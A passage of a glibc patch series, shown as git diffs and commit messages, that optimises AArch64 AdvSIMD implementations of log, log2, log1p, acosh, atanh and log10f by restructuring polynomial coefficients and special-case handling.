++  uint64x2_t u_off = vsubq_u64 (u, d->off);
+ 
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  uint64x2_t tmp = vsubq_u64 (ix, Off);
+-  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52);
+-  uint64x2_t iz = vsubq_u64 (ix, vandq_u64 (tmp, d->sign_exp_mask));
++  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (u_off), 52);
++  uint64x2_t iz = vsubq_u64 (u, vandq_u64 (u_off, d->sign_exp_mask));
+   float64x2_t z = vreinterpretq_f64_u64 (iz);
+ 
+-  struct entry e = lookup (tmp);
++  struct entry e = lookup (u_off);
+ 
+-  /* log2(x) = log1p(z/c-1)/log(2) + log2(c) + k.  */
++  uint32x2_t special = vcge_u32 (vsubhn_u64 (u_off, d->offset_lower_bound),
++				 vget_low_u32 (d->special_bound));
+ 
++  /* log2(x) = log1p(z/c-1)/log(2) + log2(c) + k.  */
+   float64x2_t r = vfmaq_f64 (v_f64 (-1.0), z, e.invc);
+   float64x2_t kd = vcvtq_f64_s64 (k);
+-  float64x2_t w = vfmaq_f64 (e.log2c, r, d->invln2);
++
++  float64x2_t invln2_and_c4 = vld1q_f64 (&d->invln2);
++  float64x2_t hi
++      = vfmaq_laneq_f64 (vaddq_f64 (e.log2c, kd), r, invln2_and_c4, 0);
+ 
+   float64x2_t r2 = vmulq_f64 (r, r);
+-  float64x2_t y = v_pw_horner_4_f64 (r, r2, d->poly);
+-  w = vaddq_f64 (kd, w);
++  float64x2_t odd_coeffs = vld1q_f64 (&d->c1);
++  float64x2_t y = vfmaq_laneq_f64 (d->c2, r, odd_coeffs, 1);
++  float64x2_t p = vfmaq_laneq_f64 (d->c0, r, odd_coeffs, 0);
++  y = vfmaq_laneq_f64 (y, r2, invln2_and_c4, 1);
++  y = vfmaq_f64 (p, r2, y);
+ 
+   if (__glibc_unlikely (v_any_u32h (special)))
+-    return special_case (x, y, w, r2, special);
+-  return vfmaq_f64 (w, r2, y);
++    return special_case (hi, u_off, y, r2, special, d);
++  return vfmaq_f64 (hi, y, r2);
+ }
+diff --git a/sysdeps/aarch64/fpu/log_advsimd.c b/sysdeps/aarch64/fpu/log_advsimd.c
+index 015a6da7d7..b1a27fbc29 100644
+--- a/sysdeps/aarch64/fpu/log_advsimd.c
++++ b/sysdeps/aarch64/fpu/log_advsimd.c
+@@ -21,27 +21,29 @@
+ 
+ static const struct data
+ {
+-  uint64x2_t min_norm;
++  uint64x2_t off, sign_exp_mask, offset_lower_bound;
+   uint32x4_t special_bound;
+-  float64x2_t poly[5];
+-  float64x2_t ln2;
+-  uint64x2_t sign_exp_mask;
++  float64x2_t c0, c2;
++  double c1, c3, ln2, c4;
+ } data = {
+-  /* Worst-case error: 1.17 + 0.5 ulp.
+-     Rel error: 0x1.6272e588p-56 in [ -0x1.fc1p-9 0x1.009p-8 ].  */
+-  .poly = { V2 (-0x1.ffffffffffff7p-2), V2 (0x1.55555555170d4p-2),
+-	    V2 (-0x1.0000000399c27p-2), V2 (0x1.999b2e90e94cap-3),
+-	    V2 (-0x1.554e550bd501ep-3) },
+-  .ln2 = V2 (0x1.62e42fefa39efp-1),
+-  .min_norm = V2 (0x0010000000000000),
+-  .special_bound = V4 (0x7fe00000), /* asuint64(inf) - min_norm.  */
+-  .sign_exp_mask = V2 (0xfff0000000000000)
++  /* Rel error: 0x1.6272e588p-56 in [ -0x1.fc1p-9 0x1.009p-8 ].  */
++  .c0 = V2 (-0x1.ffffffffffff7p-2),
++  .c1 = 0x1.55555555170d4p-2,
++  .c2 = V2 (-0x1.0000000399c27p-2),
++  .c3 = 0x1.999b2e90e94cap-3,
++  .c4 = -0x1.554e550bd501ep-3,
++  .ln2 = 0x1.62e42fefa39efp-1,
++  .sign_exp_mask = V2 (0xfff0000000000000),
++  .off = V2 (0x3fe6900900000000),
++  /* Lower bound is 0x0010000000000000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound - offset (which wraps around).  */
++  .offset_lower_bound = V2 (0x0010000000000000 - 0x3fe6900900000000),
++  .special_bound = V4 (0x7fe00000), /* asuint64(inf) -  asuint64(0x1p-126).  */
+ };
+ 
+-#define A(i) d->poly[i]
+ #define N (1 << V_LOG_TABLE_BITS)
+ #define IndexMask (N - 1)
+-#define Off v_u64 (0x3fe6900900000000)
+ 
+ struct entry
+ {
+@@ -64,48 +66,56 @@ lookup (uint64x2_t i)
+ }
+ 
+ static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t x, float64x2_t y, float64x2_t hi, float64x2_t r2,
+-	      uint32x2_t cmp)
++special_case (float64x2_t hi, uint64x2_t u_off, float64x2_t y, float64x2_t r2,
++	      uint32x2_t special, const struct data *d)
+ {
+-  return v_call_f64 (log, x, vfmaq_f64 (hi, y, r2), vmovl_u32 (cmp));
++  float64x2_t x = vreinterpretq_f64_u64 (vaddq_u64 (u_off, d->off));
++  return v_call_f64 (log, x, vfmaq_f64 (hi, y, r2), vmovl_u32 (special));
+ }
+ 
++/* Double-precision vector log routine.
++   The maximum observed error is 2.17 ULP:
++   _ZGVnN2v_log(0x1.a6129884398a3p+0) got 0x1.ffffff1cca043p-2
++				     want 0x1.ffffff1cca045p-2.  */
+ float64x2_t VPCS_ATTR V_NAME_D1 (log) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  float64x2_t z, r, r2, p, y, kd, hi;
+-  uint64x2_t ix, iz, tmp;
+-  uint32x2_t cmp;
+-  int64x2_t k;
+-  struct entry e;
+ 
+-  ix = vreinterpretq_u64_f64 (x);
+-  cmp = vcge_u32 (vsubhn_u64 (ix, d->min_norm),
+-		  vget_low_u32 (d->special_bound));
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  uint64x2_t u = vreinterpretq_u64_f64 (x);
++  uint64x2_t u_off = vsubq_u64 (u, d->off);
+ 
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  tmp = vsubq_u64 (ix, Off);
+-  k = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52); /* arithmetic shift.  */
+-  iz = vsubq_u64 (ix, vandq_u64 (tmp, d->sign_exp_mask));
+-  z = vreinterpretq_f64_u64 (iz);
+-  e = lookup (tmp);
++  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (u_off), 52);
++  uint64x2_t iz = vsubq_u64 (u, vandq_u64 (u_off, d->sign_exp_mask));
++  float64x2_t z = vreinterpretq_f64_u64 (iz);
++
++  struct entry e = lookup (u_off);
++
++  uint32x2_t special = vcge_u32 (vsubhn_u64 (u_off, d->offset_lower_bound),
++				 vget_low_u32 (d->special_bound));
+ 
+   /* log(x) = log1p(z/c-1) + log(c) + k*Ln2.  */
+-  r = vfmaq_f64 (v_f64 (-1.0), z, e.invc);
+-  kd = vcvtq_f64_s64 (k);
++  float64x2_t r = vfmaq_f64 (v_f64 (-1.0), z, e.invc);
++  float64x2_t kd = vcvtq_f64_s64 (k);
+ 
+   /* hi = r + log(c) + k*Ln2.  */
+-  hi = vfmaq_f64 (vaddq_f64 (e.logc, r), kd, d->ln2);
++  float64x2_t ln2_and_c4 = vld1q_f64 (&d->ln2);
++  float64x2_t hi = vfmaq_laneq_f64 (vaddq_f64 (e.logc, r), kd, ln2_and_c4, 0);
++
+   /* y = r2*(A0 + r*A1 + r2*(A2 + r*A3 + r2*A4)) + hi.  */
+-  r2 = vmulq_f64 (r, r);
+-  y = vfmaq_f64 (A (2), A (3), r);
+-  p = vfmaq_f64 (A (0), A (1), r);
+-  y = vfmaq_f64 (y, A (4), r2);
+-  y = vfmaq_f64 (p, y, r2);
+-
+-  if (__glibc_unlikely (v_any_u32h (cmp)))
+-    return special_case (x, y, hi, r2, cmp);
++  float64x2_t odd_coeffs = vld1q_f64 (&d->c1);
++  float64x2_t r2 = vmulq_f64 (r, r);
++  float64x2_t y = vfmaq_laneq_f64 (d->c2, r, odd_coeffs, 1);
++  float64x2_t p = vfmaq_laneq_f64 (d->c0, r, odd_coeffs, 0);
++  y = vfmaq_laneq_f64 (y, r2, ln2_and_c4, 1);
++  y = vfmaq_f64 (p, r2, y);
++
++  if (__glibc_unlikely (v_any_u32h (special)))
++    return special_case (hi, u_off, y, r2, special, d);
+   return vfmaq_f64 (hi, y, r2);
+ }
+
+commit 2aed9796bfb17b257e63b12cefdb7ff60be09626
+Author: Pierre Blanchard <pierre.blanchard@arm.com>
+Date:   Mon Dec 9 15:55:39 2024 +0000
+
+    AArch64: Improve codegen in users of ADVSIMD log1p helper
+    
+    Add inline helper for log1p and rearrange operations so MOV
+    is not necessary in reduction or around the special-case handler.
+    Reduce memory access by using more indexed MLAs in polynomial.
+    Speedup on Neoverse V1 for log1p (3.5%), acosh (7.5%) and atanh (10%).
+    
+    (cherry picked from commit ca0c0d0f26fbf75b9cacc65122b457e8fdec40b8)
+
+diff --git a/sysdeps/aarch64/fpu/acosh_advsimd.c b/sysdeps/aarch64/fpu/acosh_advsimd.c
+index c88283cf11..a98f4a2e4d 100644
+--- a/sysdeps/aarch64/fpu/acosh_advsimd.c
++++ b/sysdeps/aarch64/fpu/acosh_advsimd.c
+@@ -54,9 +54,8 @@ VPCS_ATTR float64x2_t V_NAME_D1 (acosh) (float64x2_t x)
+     x = vbslq_f64 (special, vreinterpretq_f64_u64 (d->one), x);
+ #endif
+ 
+-  float64x2_t xm1 = vsubq_f64 (x, v_f64 (1));
+-  float64x2_t y;
+-  y = vaddq_f64 (x, v_f64 (1));
++  float64x2_t xm1 = vsubq_f64 (x, v_f64 (1.0));
++  float64x2_t y = vaddq_f64 (x, v_f64 (1.0));
+   y = vmulq_f64 (y, xm1);
+   y = vsqrtq_f64 (y);
+   y = vaddq_f64 (xm1, y);
+diff --git a/sysdeps/aarch64/fpu/atanh_advsimd.c b/sysdeps/aarch64/fpu/atanh_advsimd.c
+index 3c3d0bd6ad..eb9769aeac 100644
+--- a/sysdeps/aarch64/fpu/atanh_advsimd.c
++++ b/sysdeps/aarch64/fpu/atanh_advsimd.c
+@@ -23,15 +23,19 @@
+ const static struct data
+ {
+   struct v_log1p_data log1p_consts;
+-  uint64x2_t one, half;
++  uint64x2_t one;
++  uint64x2_t sign_mask;
+ } data = { .log1p_consts = V_LOG1P_CONSTANTS_TABLE,
+ 	   .one = V2 (0x3ff0000000000000),
+-	   .half = V2 (0x3fe0000000000000) };
++	   .sign_mask = V2 (0x8000000000000000) };
+ 
+ static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t x, float64x2_t y, uint64x2_t special)
++special_case (float64x2_t x, float64x2_t halfsign, float64x2_t y,
++	      uint64x2_t special, const struct data *d)
+ {
+-  return v_call_f64 (atanh, x, y, special);
++  y = log1p_inline (y, &d->log1p_consts);
++  return v_call_f64 (atanh, vbslq_f64 (d->sign_mask, halfsign, x),
++		     vmulq_f64 (halfsign, y), special);
+ }
+ 
+ /* Approximation for vector double-precision atanh(x) using modified log1p.
+@@ -43,11 +47,10 @@ float64x2_t V_NAME_D1 (atanh) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
++  float64x2_t halfsign = vbslq_f64 (d->sign_mask, x, v_f64 (0.5));
+   float64x2_t ax = vabsq_f64 (x);
+   uint64x2_t ia = vreinterpretq_u64_f64 (ax);
+-  uint64x2_t sign = veorq_u64 (vreinterpretq_u64_f64 (x), ia);
+   uint64x2_t special = vcgeq_u64 (ia, d->one);
+-  float64x2_t halfsign = vreinterpretq_f64_u64 (vorrq_u64 (sign, d->half));
+ 
+ #if WANT_SIMD_EXCEPT
+   ax = v_zerofy_f64 (ax, special);
+@@ -55,10 +58,15 @@ float64x2_t V_NAME_D1 (atanh) (float64x2_t x)
+ 
+   float64x2_t y;
+   y = vaddq_f64 (ax, ax);
+-  y = vdivq_f64 (y, vsubq_f64 (v_f64 (1), ax));
+-  y = log1p_inline (y, &d->log1p_consts);
++  y = vdivq_f64 (y, vsubq_f64 (vreinterpretq_f64_u64 (d->one), ax));
+ 
+   if (__glibc_unlikely (v_any_u64 (special)))
+-    return special_case (x, vmulq_f64 (y, halfsign), special);
++#if WANT_SIMD_EXCEPT
++    return special_case (x, halfsign, y, special, d);
++#else
++    return special_case (ax, halfsign, y, special, d);
++#endif
++
++  y = log1p_inline (y, &d->log1p_consts);
+   return vmulq_f64 (y, halfsign);
+ }
+diff --git a/sysdeps/aarch64/fpu/log1p_advsimd.c b/sysdeps/aarch64/fpu/log1p_advsimd.c
+index 114064c696..1263587201 100644
+--- a/sysdeps/aarch64/fpu/log1p_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1p_advsimd.c
+@@ -17,43 +17,26 @@
+    License along with the GNU C Library; if not, see
+    <https://www.gnu.org/licenses/>.  */
+ 
+-#include "v_math.h"
+-#include "poly_advsimd_f64.h"
++#define WANT_V_LOG1P_K0_SHORTCUT 0
++#include "v_log1p_inline.h"
+ 
+ const static struct data
+ {
+-  float64x2_t poly[19], ln2[2];
+-  uint64x2_t hf_rt2_top, one_m_hf_rt2_top, umask, inf, minus_one;
+-  int64x2_t one_top;
+-} data = {
+-  /* Generated using Remez, deg=20, in [sqrt(2)/2-1, sqrt(2)-1].  */
+-  .poly = { V2 (-0x1.ffffffffffffbp-2), V2 (0x1.55555555551a9p-2),
+-	    V2 (-0x1.00000000008e3p-2), V2 (0x1.9999999a32797p-3),
+-	    V2 (-0x1.555555552fecfp-3), V2 (0x1.249248e071e5ap-3),
+-	    V2 (-0x1.ffffff8bf8482p-4), V2 (0x1.c71c8f07da57ap-4),
+-	    V2 (-0x1.9999ca4ccb617p-4), V2 (0x1.7459ad2e1dfa3p-4),
+-	    V2 (-0x1.554d2680a3ff2p-4), V2 (0x1.3b4c54d487455p-4),
+-	    V2 (-0x1.2548a9ffe80e6p-4), V2 (0x1.0f389a24b2e07p-4),
+-	    V2 (-0x1.eee4db15db335p-5), V2 (0x1.e95b494d4a5ddp-5),
+-	    V2 (-0x1.15fdf07cb7c73p-4), V2 (0x1.0310b70800fcfp-4),
+-	    V2 (-0x1.cfa7385bdb37ep-6) },
+-  .ln2 = { V2 (0x1.62e42fefa3800p-1), V2 (0x1.ef35793c76730p-45) },
+-  /* top32(asuint64(sqrt(2)/2)) << 32.  */
+-  .hf_rt2_top = V2 (0x3fe6a09e00000000),
+-  /* (top32(asuint64(1)) - top32(asuint64(sqrt(2)/2))) << 32.  */
+-  .one_m_hf_rt2_top = V2 (0x00095f6200000000),
+-  .umask = V2 (0x000fffff00000000),
+-  .one_top = V2 (0x3ff),
+-  .inf = V2 (0x7ff0000000000000),
+-  .minus_one = V2 (0xbff0000000000000)
+-};
++  struct v_log1p_data d;
++  uint64x2_t inf, minus_one;
++} data = { .d = V_LOG1P_CONSTANTS_TABLE,
++	   .inf = V2 (0x7ff0000000000000),
++	   .minus_one = V2 (0xbff0000000000000) };
+ 
+ #define BottomMask v_u64 (0xffffffff)
+ 
+-static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t x, float64x2_t y, uint64x2_t special)
++static float64x2_t NOINLINE VPCS_ATTR
++special_case (float64x2_t x, uint64x2_t cmp, const struct data *d)
+ {
+-  return v_call_f64 (log1p, x, y, special);
++  /* Side-step special lanes so fenv exceptions are not triggered
++     inadvertently.  */
++  float64x2_t x_nospecial = v_zerofy_f64 (x, cmp);
++  return v_call_f64 (log1p, x, log1p_inline (x_nospecial, &d->d), cmp);
+ }
+ 
+ /* Vector log1p approximation using polynomial on reduced interval. Routine is
+@@ -66,66 +49,14 @@ VPCS_ATTR float64x2_t V_NAME_D1 (log1p) (float64x2_t x)
+   const struct data *d = ptr_barrier (&data);
+   uint64x2_t ix = vreinterpretq_u64_f64 (x);
+   uint64x2_t ia = vreinterpretq_u64_f64 (vabsq_f64 (x));
+-  uint64x2_t special = vcgeq_u64 (ia, d->inf);
+ 
+-#if WANT_SIMD_EXCEPT
+-  special = vorrq_u64 (special,
+-		       vcgeq_u64 (ix, vreinterpretq_u64_f64 (v_f64 (-1))));
+-  if (__glibc_unlikely (v_any_u64 (special)))
+-    x = v_zerofy_f64 (x, special);
+-#else
+-  special = vorrq_u64 (special, vcleq_f64 (x, v_f64 (-1)));
+-#endif
++  uint64x2_t special_cases
++      = vorrq_u64 (vcgeq_u64 (ia, d->inf), vcgeq_u64 (ix, d->minus_one));
+ 
+-  /* With x + 1 = t * 2^k (where t = f + 1 and k is chosen such that f
+-			   is in [sqrt(2)/2, sqrt(2)]):
+-     log1p(x) = k*log(2) + log1p(f).
++  if (__glibc_unlikely (v_any_u64 (special_cases)))
++    return special_case (x, special_cases, d);
+ 
+-     f may not be representable exactly, so we need a correction term:
+-     let m = round(1 + x), c = (1 + x) - m.
+-     c << m: at very small x, log1p(x) ~ x, hence:
+-     log(1+x) - log(m) ~ c/m.
+-
+-     We therefore calculate log1p(x) by k*log2 + log1p(f) + c/m.  */
+-
+-  /* Obtain correctly scaled k by manipulation in the exponent.
+-     The scalar algorithm casts down to 32-bit at this point to calculate k and
+-     u_red. We stay in double-width to obtain f and k, using the same constants
+-     as the scalar algorithm but shifted left by 32.  */
+-  float64x2_t m = vaddq_f64 (x, v_f64 (1));
+-  uint64x2_t mi = vreinterpretq_u64_f64 (m);
+-  uint64x2_t u = vaddq_u64 (mi, d->one_m_hf_rt2_top);
+-
+-  int64x2_t ki
+-      = vsubq_s64 (vreinterpretq_s64_u64 (vshrq_n_u64 (u, 52)), d->one_top);
+-  float64x2_t k = vcvtq_f64_s64 (ki);
+-
+-  /* Reduce x to f in [sqrt(2)/2, sqrt(2)].  */
+-  uint64x2_t utop = vaddq_u64 (vandq_u64 (u, d->umask), d->hf_rt2_top);
+-  uint64x2_t u_red = vorrq_u64 (utop, vandq_u64 (mi, BottomMask));
+-  float64x2_t f = vsubq_f64 (vreinterpretq_f64_u64 (u_red), v_f64 (1));
+-
+-  /* Correction term c/m.  */
+-  float64x2_t cm = vdivq_f64 (vsubq_f64 (x, vsubq_f64 (m, v_f64 (1))), m);
+-
+-  /* Approximate log1p(x) on the reduced input using a polynomial. Because
+-     log1p(0)=0 we choose an approximation of the form:
+-       x + C0*x^2 + C1*x^3 + C2x^4 + ...
+-     Hence approximation has the form f + f^2 * P(f)
+-      where P(x) = C0 + C1*x + C2x^2 + ...
+-     Assembling this all correctly is dealt with at the final step.  */
+-  float64x2_t f2 = vmulq_f64 (f, f);
+-  float64x2_t p = v_pw_horner_18_f64 (f, f2, d->poly);
+-
+-  float64x2_t ylo = vfmaq_f64 (cm, k, d->ln2[1]);
+-  float64x2_t yhi = vfmaq_f64 (f, k, d->ln2[0]);
+-  float64x2_t y = vaddq_f64 (ylo, yhi);
+-
+-  if (__glibc_unlikely (v_any_u64 (special)))
+-    return special_case (vreinterpretq_f64_u64 (ix), vfmaq_f64 (y, f2, p),
+-			 special);
+-
+-  return vfmaq_f64 (y, f2, p);
++  return log1p_inline (x, &d->d);
+ }
+ 
+ strong_alias (V_NAME_D1 (log1p), V_NAME_D1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/v_log1p_inline.h b/sysdeps/aarch64/fpu/v_log1p_inline.h
+index 242e43b6ee..834ff65adf 100644
+--- a/sysdeps/aarch64/fpu/v_log1p_inline.h
++++ b/sysdeps/aarch64/fpu/v_log1p_inline.h
+@@ -21,29 +21,30 @@
+ #define AARCH64_FPU_V_LOG1P_INLINE_H
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f64.h"
+ 
+ struct v_log1p_data
+ {
+-  float64x2_t poly[19], ln2[2];
++  float64x2_t c0, c2, c4, c6, c8, c10, c12, c14, c16;
+   uint64x2_t hf_rt2_top, one_m_hf_rt2_top, umask;
+   int64x2_t one_top;
++  double c1, c3, c5, c7, c9, c11, c13, c15, c17, c18;
++  double ln2[2];
+ };
+ 
+ /* Coefficients generated using Remez, deg=20, in [sqrt(2)/2-1, sqrt(2)-1].  */
+ #define V_LOG1P_CONSTANTS_TABLE                                               \
+   {                                                                           \
+-    .poly = { V2 (-0x1.ffffffffffffbp-2), V2 (0x1.55555555551a9p-2),          \
+-	      V2 (-0x1.00000000008e3p-2), V2 (0x1.9999999a32797p-3),          \
+-	      V2 (-0x1.555555552fecfp-3), V2 (0x1.249248e071e5ap-3),          \
+-	      V2 (-0x1.ffffff8bf8482p-4), V2 (0x1.c71c8f07da57ap-4),          \
+-	      V2 (-0x1.9999ca4ccb617p-4), V2 (0x1.7459ad2e1dfa3p-4),          \
+-	      V2 (-0x1.554d2680a3ff2p-4), V2 (0x1.3b4c54d487455p-4),          \
+-	      V2 (-0x1.2548a9ffe80e6p-4), V2 (0x1.0f389a24b2e07p-4),          \
+-	      V2 (-0x1.eee4db15db335p-5), V2 (0x1.e95b494d4a5ddp-5),          \
+-	      V2 (-0x1.15fdf07cb7c73p-4), V2 (0x1.0310b70800fcfp-4),          \
+-	      V2 (-0x1.cfa7385bdb37ep-6) },                                   \
+-    .ln2 = { V2 (0x1.62e42fefa3800p-1), V2 (0x1.ef35793c76730p-45) },         \
++    .c0 = V2 (-0x1.ffffffffffffbp-2), .c1 = 0x1.55555555551a9p-2,             \
++    .c2 = V2 (-0x1.00000000008e3p-2), .c3 = 0x1.9999999a32797p-3,             \
++    .c4 = V2 (-0x1.555555552fecfp-3), .c5 = 0x1.249248e071e5ap-3,             \
++    .c6 = V2 (-0x1.ffffff8bf8482p-4), .c7 = 0x1.c71c8f07da57ap-4,             \
++    .c8 = V2 (-0x1.9999ca4ccb617p-4), .c9 = 0x1.7459ad2e1dfa3p-4,             \
++    .c10 = V2 (-0x1.554d2680a3ff2p-4), .c11 = 0x1.3b4c54d487455p-4,           \
++    .c12 = V2 (-0x1.2548a9ffe80e6p-4), .c13 = 0x1.0f389a24b2e07p-4,           \
++    .c14 = V2 (-0x1.eee4db15db335p-5), .c15 = 0x1.e95b494d4a5ddp-5,           \
++    .c16 = V2 (-0x1.15fdf07cb7c73p-4), .c17 = 0x1.0310b70800fcfp-4,           \
++    .c18 = -0x1.cfa7385bdb37ep-6,                                             \
++    .ln2 = { 0x1.62e42fefa3800p-1, 0x1.ef35793c76730p-45 },                   \
+     .hf_rt2_top = V2 (0x3fe6a09e00000000),                                    \
+     .one_m_hf_rt2_top = V2 (0x00095f6200000000),                              \
+     .umask = V2 (0x000fffff00000000), .one_top = V2 (0x3ff)                   \
+@@ -51,19 +52,45 @@ struct v_log1p_data
+ 
+ #define BottomMask v_u64 (0xffffffff)
+ 
++static inline float64x2_t
++eval_poly (float64x2_t m, float64x2_t m2, const struct v_log1p_data *d)
++{
++  /* Approximate log(1+m) on [-0.25, 0.5] using pairwise Horner.  */
++  float64x2_t c13 = vld1q_f64 (&d->c1);
++  float64x2_t c57 = vld1q_f64 (&d->c5);
++  float64x2_t c911 = vld1q_f64 (&d->c9);
++  float64x2_t c1315 = vld1q_f64 (&d->c13);
++  float64x2_t c1718 = vld1q_f64 (&d->c17);
++  float64x2_t p1617 = vfmaq_laneq_f64 (d->c16, m, c1718, 0);
++  float64x2_t p1415 = vfmaq_laneq_f64 (d->c14, m, c1315, 1);
++  float64x2_t p1213 = vfmaq_laneq_f64 (d->c12, m, c1315, 0);
++  float64x2_t p1011 = vfmaq_laneq_f64 (d->c10, m, c911, 1);
++  float64x2_t p89 = vfmaq_laneq_f64 (d->c8, m, c911, 0);
++  float64x2_t p67 = vfmaq_laneq_f64 (d->c6, m, c57, 1);
++  float64x2_t p45 = vfmaq_laneq_f64 (d->c4, m, c57, 0);
++  float64x2_t p23 = vfmaq_laneq_f64 (d->c2, m, c13, 1);
++  float64x2_t p01 = vfmaq_laneq_f64 (d->c0, m, c13, 0);
++  float64x2_t p = vfmaq_laneq_f64 (p1617, m2, c1718, 1);
++  p = vfmaq_f64 (p1415, m2, p);
++  p = vfmaq_f64 (p1213, m2, p);
++  p = vfmaq_f64 (p1011, m2, p);
++  p = vfmaq_f64 (p89, m2, p);
++  p = vfmaq_f64 (p67, m2, p);
++  p = vfmaq_f64 (p45, m2, p);
++  p = vfmaq_f64 (p23, m2, p);
++  return vfmaq_f64 (p01, m2, p);
++}
++
+ static inline float64x2_t
+ log1p_inline (float64x2_t x, const struct v_log1p_data *d)
+ {
+-  /* Helper for calculating log(x + 1). Copied from v_log1p_2u5.c, with several
+-     modifications:
++  /* Helper for calculating log(x + 1):
+      - No special-case handling - this should be dealt with by the caller.
+-     - Pairwise Horner polynomial evaluation for improved accuracy.
+      - Optionally simulate the shortcut for k=0, used in the scalar routine,
+-       using v_sel, for improved accuracy when the argument to log1p is close to
+-       0. This feature is enabled by defining WANT_V_LOG1P_K0_SHORTCUT as 1 in
+-       the source of the caller before including this file.
+-     See v_log1pf_2u1.c for details of the algorithm.  */
+-  float64x2_t m = vaddq_f64 (x, v_f64 (1));
++       using v_sel, for improved accuracy when the argument to log1p is close
++       to 0. This feature is enabled by defining WANT_V_LOG1P_K0_SHORTCUT as 1
++       in the source of the caller before including this file.  */
++  float64x2_t m = vaddq_f64 (x, v_f64 (1.0));
+   uint64x2_t mi = vreinterpretq_u64_f64 (m);
+   uint64x2_t u = vaddq_u64 (mi, d->one_m_hf_rt2_top);
+ 
+@@ -74,14 +101,14 @@ log1p_inline (float64x2_t x, const struct v_log1p_data *d)
+   /* Reduce x to f in [sqrt(2)/2, sqrt(2)].  */
+   uint64x2_t utop = vaddq_u64 (vandq_u64 (u, d->umask), d->hf_rt2_top);
+   uint64x2_t u_red = vorrq_u64 (utop, vandq_u64 (mi, BottomMask));
+-  float64x2_t f = vsubq_f64 (vreinterpretq_f64_u64 (u_red), v_f64 (1));
++  float64x2_t f = vsubq_f64 (vreinterpretq_f64_u64 (u_red), v_f64 (1.0));
+ 
+   /* Correction term c/m.  */
+-  float64x2_t cm = vdivq_f64 (vsubq_f64 (x, vsubq_f64 (m, v_f64 (1))), m);
++  float64x2_t cm = vdivq_f64 (vsubq_f64 (x, vsubq_f64 (m, v_f64 (1.0))), m);
+ 
+ #ifndef WANT_V_LOG1P_K0_SHORTCUT
+-#error                                                                         \
+-  "Cannot use v_log1p_inline.h without specifying whether you need the k0 shortcut for greater accuracy close to 0"
++# error                                                                       \
++      "Cannot use v_log1p_inline.h without specifying whether you need the k0 shortcut for greater accuracy close to 0"
+ #elif WANT_V_LOG1P_K0_SHORTCUT
+   /* Shortcut if k is 0 - set correction term to 0 and f to x. The result is
+      that the approximation is solely the polynomial.  */
+@@ -92,11 +119,12 @@ log1p_inline (float64x2_t x, const struct v_log1p_data *d)
+ 
+   /* Approximate log1p(f) on the reduced input using a polynomial.  */
+   float64x2_t f2 = vmulq_f64 (f, f);
+-  float64x2_t p = v_pw_horner_18_f64 (f, f2, d->poly);
++  float64x2_t p = eval_poly (f, f2, d);
+ 
+   /* Assemble log1p(x) = k * log2 + log1p(f) + c/m.  */
+-  float64x2_t ylo = vfmaq_f64 (cm, k, d->ln2[1]);
+-  float64x2_t yhi = vfmaq_f64 (f, k, d->ln2[0]);
++  float64x2_t ln2 = vld1q_f64 (&d->ln2[0]);
++  float64x2_t ylo = vfmaq_laneq_f64 (cm, k, ln2, 1);
++  float64x2_t yhi = vfmaq_laneq_f64 (f, k, ln2, 0);
+   return vfmaq_f64 (vaddq_f64 (ylo, yhi), f2, p);
+ }
+ 
+
+commit 9170b921fa49d2ef37141506837baaae92c7d3f8
+Author: Joana Cruz <Joana.Cruz@arm.com>
+Date:   Tue Dec 17 14:47:31 2024 +0000
+
+    AArch64: Improve codegen of AdvSIMD logf function family
+    
+    Load the polynomial evaluation coefficients into 2 vectors and use lanewise MLAs.
+    8% improvement in throughput microbenchmark on Neoverse V1 for log2 and log,
+    and 2% for log10.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit d6e034f5b222a9ed1aeb5de0c0c7d0dda8b63da3)
+
+diff --git a/sysdeps/aarch64/fpu/log10f_advsimd.c b/sysdeps/aarch64/fpu/log10f_advsimd.c
+index 82228b599a..0d792c3df9 100644
+--- a/sysdeps/aarch64/fpu/log10f_advsimd.c
++++ b/sysdeps/aarch64/fpu/log10f_advsimd.c
+@@ -18,21 +18,25 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
+ 
+ static const struct data
+ {
++  float32x4_t c0, c2, c4, c6, inv_ln10, ln2;
+   uint32x4_t off, offset_lower_bound;
+   uint16x8_t special_bound;
+   uint32x4_t mantissa_mask;
+-  float32x4_t poly[8];
+-  float32x4_t inv_ln10, ln2;
++  float c1, c3, c5, c7;
+ } data = {
+   /* Use order 9 for log10(1+x), i.e. order 8 for log10(1+x)/x, with x in
+       [-1/3, 1/3] (offset=2/3). Max. relative error: 0x1.068ee468p-25.  */
+-  .poly = { V4 (-0x1.bcb79cp-3f), V4 (0x1.2879c8p-3f), V4 (-0x1.bcd472p-4f),
+-	    V4 (0x1.6408f8p-4f), V4 (-0x1.246f8p-4f), V4 (0x1.f0e514p-5f),
+-	    V4 (-0x1.0fc92cp-4f), V4 (0x1.f5f76ap-5f) },
++  .c0 = V4 (-0x1.bcb79cp-3f),
++  .c1 = 0x1.2879c8p-3f,
++  .c2 = V4 (-0x1.bcd472p-4f),
++  .c3 = 0x1.6408f8p-4f,
++  .c4 = V4 (-0x1.246f8p-4f),
++  .c5 = 0x1.f0e514p-5f,
++  .c6 = V4 (-0x1.0fc92cp-4f),
++  .c7 = 0x1.f5f76ap-5f,
+   .ln2 = V4 (0x1.62e43p-1f),
